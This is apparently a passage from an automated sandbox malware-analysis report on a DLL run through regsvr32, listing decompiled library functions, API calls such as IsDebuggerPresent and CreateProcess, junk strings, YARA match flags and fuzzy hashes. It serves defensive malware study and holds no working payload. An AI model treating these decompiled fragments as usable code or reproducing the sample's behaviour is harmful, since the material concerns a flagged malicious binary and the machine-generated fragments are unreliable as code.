Instruction Fuzzy Hash: 73E2E4715047CC8BDBB9DFA4C8897DD3BA1FB44344F10861AEC4EAE250DBB45A89CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23280 Relevance: 12.1, APIs: 8, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D23280(void* __eax, signed int __ecx, signed int __edx, signed int __rcx, signed int __rdx, void* __r8) {
				void* _t7;
				void* _t10;
				signed long long _t15;
				signed long long* _t16;
				signed long long _t20;
				signed long long _t24;

				_t7 = __rcx -  *0xf9d4b018; // 0x6ec4cabc2720
				if (_t7 != 0) goto 0xf9d2329a;
				asm("dec eax");
				if ((__ecx & 0x0000ffff) != 0) goto 0xf9d23296;
				asm("repe ret");
				asm("dec eax");
				goto 0xf9d23720;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("o16 nop [eax+eax]");
				if (__r8 - 8 < 0) goto 0xf9d2330c;
				_t20 = __rdx * 0x1010101;
				_t10 = __r8 - 0x40;
				if (_t10 < 0) goto 0xf9d232ee;
				_t15 =  ~__rcx;
				if (_t10 == 0) goto 0xf9d232de;
				 *__rcx = _t20;
				_t16 = _t15 + __rcx;
				if (_t10 != 0) goto 0xf9d23327;
				_t24 = __r8 - _t15 & 7;
				if (_t10 == 0) goto 0xf9d2330c;
				 *_t16 = _t20;
				if (_t10 != 0) goto 0xf9d23300;
				if (_t24 == 0) goto 0xf9d2331b;
				_t16[1] = __edx & 0x000000ff;
				if (_t24 - 1 != 0) goto 0xf9d23311;
				return __eax;
			}

0x7fef9d23280
0x7fef9d23287
0x7fef9d23289
0x7fef9d23292
0x7fef9d23294
0x7fef9d23296
0x7fef9d2329a
0x7fef9d2329f
0x7fef9d232a0
0x7fef9d232a1
0x7fef9d232a2
0x7fef9d232a3
0x7fef9d232a4
0x7fef9d232a5
0x7fef9d232a6
0x7fef9d232b7
0x7fef9d232c6
0x7fef9d232ca
0x7fef9d232ce
0x7fef9d232d0
0x7fef9d232d6
0x7fef9d232db
0x7fef9d232de
0x7fef9d232ec
0x7fef9d232f1
0x7fef9d232f9
0x7fef9d23300
0x7fef9d2330a
0x7fef9d2330f
0x7fef9d23311
0x7fef9d23319
0x7fef9d2331b

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D23733
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D23752
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2379E
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D23810
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23828
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23835
GetCurrentProcess.KERNEL32 ref: 000007FEF9D2384E
TerminateProcess.KERNEL32 ref: 000007FEF9D2385C

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction ID: 807cfb07a33e429e3d371e20a7d7f9b872ed56a9d2d7ce20ec260cf370a1508c
Opcode Fuzzy Hash: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction Fuzzy Hash: 9B31B435908B4685EAA09B69FD443AEB3E0F784794F608026DACD43775DF7EE0588B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2443C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D245C6
Client hook allocation failure at file %hs line %d., xrefs: 000007FEF9D2452F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2446A
_CrtCheckMemory(), xrefs: 000007FEF9D24455
Client hook allocation failure., xrefs: 000007FEF9D24554

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2480363372-3680694803
Opcode ID: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction ID: 8b5a52ed6c75746639c18038ef7af0115634e61e6ce836c346e70c61fc8f1b15
Opcode Fuzzy Hash: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction Fuzzy Hash: 58510931A096828AE7F48B68EC4576E73E4F395354F618135DADD83BB4EB3EE4448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A758 Relevance: 9.3, Strings: 7, Instructions: 594COMMON

Download Yara Rule

Strings

Mum, xrefs: 000000018000AFAE
=D, xrefs: 000000018000AA8F
vQ, xrefs: 000000018000AE4D
Fa, xrefs: 000000018000A9DA
, xrefs: 000000018000A787
A2>, xrefs: 000000018000B065
#X, xrefs: 000000018000AD41

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$ $A2>$Mum$vQ$=D$Fa
API String ID: 0-1298193321
Opcode ID: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction ID: 1349cc56659c19f01a369150ff0067e3f34eaebe01bc07430d2f97da03610ed5
Opcode Fuzzy Hash: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction Fuzzy Hash: 24522775A0620CDFCB68DFA8D08A6DDBBF2EF58344F104119F816A7261D7B0D919CB89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E4AC Relevance: 9.1, Strings: 7, Instructions: 371COMMON

Download Yara Rule

Strings

t, xrefs: 000000018001E945
._, xrefs: 000000018001E654
8%Y, xrefs: 000000018001E6CA
@4<, xrefs: 000000018001E879
F+}, xrefs: 000000018001E7B6
xy, xrefs: 000000018001EA69
R1, xrefs: 000000018001E7F4

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ._$8%Y$@4<$F+}$R1$t$xy
API String ID: 0-3078009748
Opcode ID: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction ID: 0e1afbee3b71ea3b5863fe80692b11929ebce18e29255cef2241f67d7a77c22f
Opcode Fuzzy Hash: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction Fuzzy Hash: 0402E1B1504649DFCB98DF28C489ADE3BE1FB48318F41812AFC4A9B764D770DA98CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BE50 Relevance: 9.1, APIs: 6, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 33%

			E000007FE7FEF9D2BE50(intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24) {
				intOrPtr _v4;
				void* _v12;
				signed long long _v24;
				signed int _v36;
				long long _v180;
				long long _v184;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v204;
				long _v212;
				long long _v220;
				long long _v228;
				long long _v1212;
				long long _v1308;
				char _v1460;
				char _v1476;
				char _v1484;
				int _v1492;
				long long _v1500;
				long long _v1508;
				long long _v1516;
				long long _v1524;
				long long _v1532;
				long long _v1540;
				void* _t51;
				signed long long _t80;
				long long _t85;
				void* _t100;

				_a24 = r8d;
				_a16 = __edx;
				_a8 = __ecx;
				_t80 =  *0xf9d4b018; // 0x6ec4cabc2720
				_v24 = _t80 ^ _t100 - 0x00000610;
				if (_a8 == 0xffffffff) goto 0xf9d2be8d;
				E000007FE7FEF9D28D90(_t51, _a8);
				_v184 = 0;
				memset(__edi, 0, 0x94 << 0);
				_v1508 =  &_v196;
				_v1500 =  &_v1460;
				_v1492 = 0;
				_v212 = 0;
				__imp__RtlCaptureContext();
				_t85 = _v1212;
				_v220 = _t85;
				r8d = 0;
				0xf9d40e28();
				_v228 = _t85;
				if (_v228 == 0) goto 0xf9d2bf64;
				_v1516 = 0;
				_v1524 =  &_v1476;
				_v1532 =  &_v1484;
				_v1540 =  &_v1460;
				0xf9d40e22();
				goto 0xf9d2bf84;
				_v1212 = _v12;
				_v1308 =  &_v12;
				_v196 = _a4;
				_v192 = _a12;
				_v180 = _v12;
				_v1492 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				_v212 = UnhandledExceptionFilter(??);
				if (_v212 != 0) goto 0xf9d2bffb;
				if (_v1492 != 0) goto 0xf9d2bffb;
				if (_v4 == 0xffffffff) goto 0xf9d2bffb;
				return E000007FE7FEF9D23280(E000007FE7FEF9D28D90(_t59, _v4), _v4, __edx, _v36 ^ _t100 - 0x00000610, _v204, _v220);
			}

0x7fef9d2be50
0x7fef9d2be55
0x7fef9d2be59
0x7fef9d2be65
0x7fef9d2be6f
0x7fef9d2be7f
0x7fef9d2be88
0x7fef9d2be8d
0x7fef9d2beaa
0x7fef9d2beb4
0x7fef9d2bebe
0x7fef9d2bec3
0x7fef9d2becb
0x7fef9d2bedb
0x7fef9d2bee1
0x7fef9d2bee9
0x7fef9d2bef1
0x7fef9d2bf04
0x7fef9d2bf09
0x7fef9d2bf1a
0x7fef9d2bf1c
0x7fef9d2bf2a
0x7fef9d2bf34
0x7fef9d2bf3e
0x7fef9d2bf5d
0x7fef9d2bf62
0x7fef9d2bf6c
0x7fef9d2bf7c
0x7fef9d2bf8b
0x7fef9d2bf99
0x7fef9d2bfa8
0x7fef9d2bfb6
0x7fef9d2bfbc
0x7fef9d2bfcd
0x7fef9d2bfdc
0x7fef9d2bfe3
0x7fef9d2bfed
0x7fef9d2c013

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D2BEDB
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2BF04
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2BF5D
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D2BFB0
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFBC
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFC7

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction ID: ff33e713b9b9862e94e2d2fd4ae4d55f0027255630586c455cca821aadc81769
Opcode Fuzzy Hash: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction Fuzzy Hash: 7041BE32909BC58AE6B08B14F8443AFB3A1F388355F50522996CD42BA8EB7ED095CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B3A4 Relevance: 8.2, Strings: 6, Instructions: 685COMMON

Download Yara Rule

Strings

M@, xrefs: 000000018001BD49
=`, xrefs: 000000018001B4ED
!Iv;, xrefs: 000000018001BDA7
#X, xrefs: 000000018001BE03
of?, xrefs: 000000018001BCC0
uzxY, xrefs: 000000018001B986

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$!Iv;$=`$M@$of?$uzxY
API String ID: 0-1910763920
Opcode ID: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction ID: 7899ed511868268ad7aea3719dccceda62fd29fa6bb16e154aa46d1db7c43d79
Opcode Fuzzy Hash: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction Fuzzy Hash: F172047190478C8BDB58DF68C88A69E7FE1FB84384F20461DF95A9B260D770D989CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BC98 Relevance: 8.0, Strings: 6, Instructions: 487COMMON

Download Yara Rule

Strings

ef~j, xrefs: 000000018000C484
;3, xrefs: 000000018000C590
#X, xrefs: 000000018000BD53
F9p, xrefs: 000000018000C348
*I, xrefs: 000000018000C3C7
;*v(, xrefs: 000000018000C23C

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$*I$;*v($;3$F9p$ef~j
API String ID: 0-950528966
Opcode ID: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction ID: 5057aee1002f2822c724537f3f36740fe0594223e2d956511feddf479ded4ebe
Opcode Fuzzy Hash: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction Fuzzy Hash: 6A42E771144BCA8BCBB9CF24CC85BEF7BA0FB44306F145529D89A8A291DBB89745CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F554 Relevance: 7.9, Strings: 6, Instructions: 447COMMON

Download Yara Rule

Strings

M, xrefs: 000000018000FBC1
IX, xrefs: 000000018000FDD5
9w, xrefs: 000000018000F9B1
M?@, xrefs: 000000018000FA5E
jS<, xrefs: 000000018000FD7B
%, xrefs: 000000018000FCB8

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$9w$IX$M?@$jS<$M
API String ID: 0-1157581923
Opcode ID: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction ID: e375d1c8451a89c96fc0dfbd01d6dda6b37f4c7765b0f9ce143112ad2eac9b8a
Opcode Fuzzy Hash: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction Fuzzy Hash: 8A32E4B0A147888BCBB8CF68C8897DD7BF0FB48318F90521DEA0A9B251DB745645CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800053B0 Relevance: 7.8, Strings: 6, Instructions: 305COMMON

Download Yara Rule

Strings

Oh, xrefs: 00000001800058F7
&n, xrefs: 0000000180005658
1U, xrefs: 0000000180005931
X, xrefs: 00000001800058D8
%, xrefs: 00000001800054DC
j/, xrefs: 0000000180005758

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$&n$1U$Oh$j/$X
API String ID: 0-3716166881
Opcode ID: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction ID: b98437ffb223a44b0e92d10549c73aaa59fdecde54cd589da16d290276777c9c
Opcode Fuzzy Hash: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction Fuzzy Hash: D9F13C70508B88CFD7B9CF24D48969EBBF4FB84744F204A1EE5A59B260DBB09645CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028D10 Relevance: 7.7, Strings: 6, Instructions: 249COMMON

Download Yara Rule

Strings

G8L, xrefs: 0000000180028E0A
ozq~, xrefs: 0000000180028EC6
P;, xrefs: 0000000180028F1F
tiG, xrefs: 0000000180028D62
J9, xrefs: 0000000180028D50
ss6, xrefs: 0000000180028DBD

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G8L$J9$ozq~$ss6$tiG$P;
API String ID: 0-1765782432
Opcode ID: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction ID: 77e5b6b93cc6977e5a95292e040e55b4553736c218ba0195107264470a30d31c
Opcode Fuzzy Hash: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction Fuzzy Hash: FCC1097050064D8FDF89DF28C89A6DE3BA1FB68398F51421DFC4A962A1C778D994CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28900 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2893B
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2894B
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28963
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2897B
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28998

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction ID: 08a22431f858d3c52821bee646358606f5e13fcd060269a72eebdbe744b14aa1
Opcode Fuzzy Hash: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction Fuzzy Hash: 7A21E62160AF0585DAB08B19FC5032E77E0E78DBA5F241235AADD83778EF3DD2948700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CF9C Relevance: 7.0, Strings: 5, Instructions: 751COMMON

Download Yara Rule

Strings

_, xrefs: 000000018001D9C0
Y, xrefs: 000000018001DB50
-Ie:, xrefs: 000000018001DEBB
jc, xrefs: 000000018001DDA5
,bF, xrefs: 000000018001DB1D

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,bF$-Ie:$Y$jc$_
API String ID: 0-2562869522
Opcode ID: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction ID: be835d82a8a11271eaf2d0d4144821f845ce411821323c63ff6fa91e08a90877
Opcode Fuzzy Hash: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction Fuzzy Hash: 2F82FC7190478C8BDBBDCF24C8466DE7BE1FB88744F104A1DEA5A8A350D7B49785CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800270C0 Relevance: 6.9, Strings: 5, Instructions: 672COMMON

Download Yara Rule

Strings

3'p, xrefs: 0000000180027483
%, xrefs: 0000000180027A74
R@\, xrefs: 0000000180027748
|7}, xrefs: 0000000180027EB6
AVx., xrefs: 0000000180027CF1

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$3'p$AVx.$R@\$|7}
API String ID: 0-1377184578
Opcode ID: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction ID: 11bdd15b6fdebef4e4e33012fe2102d5287f0ed75640ad066b8b9400528ec4a7
Opcode Fuzzy Hash: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction Fuzzy Hash: F0820774604BC88BDBB8DF24DC857CD7BE0FB86305F20561DD95E9AA60CBB89645CB02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002D28 Relevance: 6.8, Strings: 5, Instructions: 514COMMON

Download Yara Rule

Strings

/$*, xrefs: 0000000180002F2C
j~L, xrefs: 0000000180002EC4
W0, xrefs: 00000001800031D3
.s, xrefs: 00000001800030F4
89, xrefs: 0000000180002E9E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .s$/$*$89$W0$j~L
API String ID: 0-3680180293
Opcode ID: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction ID: f5b8073de7550f00aae71ce47ac4d0d330c984d331b26572373d31fffc6277f7
Opcode Fuzzy Hash: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction Fuzzy Hash: 9332237050C7848FC369DF68C58A65EBBF0FB8A744F004A1EF68687260D7B6D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A5D8 Relevance: 6.6, Strings: 5, Instructions: 339COMMON

Download Yara Rule

Strings

ioF, xrefs: 000000018002A783
:_, xrefs: 000000018002A6AC
J? , xrefs: 000000018002A763
DHM, xrefs: 000000018002A941
IE, xrefs: 000000018002A956

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :_$DHM$J? $ioF$IE
API String ID: 0-1950181368
Opcode ID: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction ID: dfce06ae3f2776b2053eb0988bfb390665c026a97965fcc171ceda4eb787facd
Opcode Fuzzy Hash: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction Fuzzy Hash: 4E02F470A0470DEFDB99DF68C089A8EBBF1FB48344F40856AE809EB250D7749A59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E130 Relevance: 6.6, Strings: 5, Instructions: 305COMMON

Download Yara Rule

Strings

wPT, xrefs: 000000018000E274
n", xrefs: 000000018000E164
\=V, xrefs: 000000018000E457
5Z3, xrefs: 000000018000E36F
h9&, xrefs: 000000018000E1D6

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \=V$h9&$n"$wPT$5Z3
API String ID: 0-226182706
Opcode ID: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction ID: 86bcb4527d36acdb60297ed143c12856cad003a08b6179b63c097fe4f6929213
Opcode Fuzzy Hash: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction Fuzzy Hash: F7E11871A0468C8BDF59CFE8C48ABDDBBF2FB54348F004129D906BB298D774951ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013994 Relevance: 6.5, Strings: 5, Instructions: 278COMMON

Download Yara Rule

Strings

|, xrefs: 0000000180013DF6
Tv, xrefs: 0000000180013B60
5.A, xrefs: 0000000180013AB3
2k, xrefs: 0000000180013C87
h, xrefs: 0000000180013BB0

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 2k$5.A$h$Tv$|
API String ID: 0-899094025
Opcode ID: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction ID: fdc8e1fcc57a9d708ca924da4610569f3fbcb91b13fa75a00635c4e08a114872
Opcode Fuzzy Hash: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction Fuzzy Hash: 2CE1B2B190474C8FDB69CFA8C48969DBFF1FB48348F20421DE869AB262D7749945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A10C Relevance: 6.5, Strings: 5, Instructions: 210COMMON

Download Yara Rule

Strings

h, xrefs: 000000018001A205
_, xrefs: 000000018001A296
T, xrefs: 000000018001A166
TaK, xrefs: 000000018001A1B7
`H, xrefs: 000000018001A2CF

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: `H$h$T$TaK$_
API String ID: 963392458-2145750592
Opcode ID: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction ID: 3659a6701c3bc18b063cae63192a65d6a0dab5b7a081606fb1710f1fc1c5873b
Opcode Fuzzy Hash: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction Fuzzy Hash: 8FA10771D087188FDB68DFA9D8856CDBBF1FB48308F20421DE45AA7252DB70A945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002975C Relevance: 5.5, Strings: 4, Instructions: 484COMMON

Download Yara Rule

Strings

{NC, xrefs: 0000000180029C32
L>yL, xrefs: 0000000180029A5A
Bwu, xrefs: 0000000180029EFD
^K, xrefs: 0000000180029AD7

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Bwu$L>yL${NC$^K
API String ID: 0-3175627499
Opcode ID: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction ID: fbf4dbbb098cc7df43bbc7889590cb4d1f5602d02220e4776b40022e4a41187c
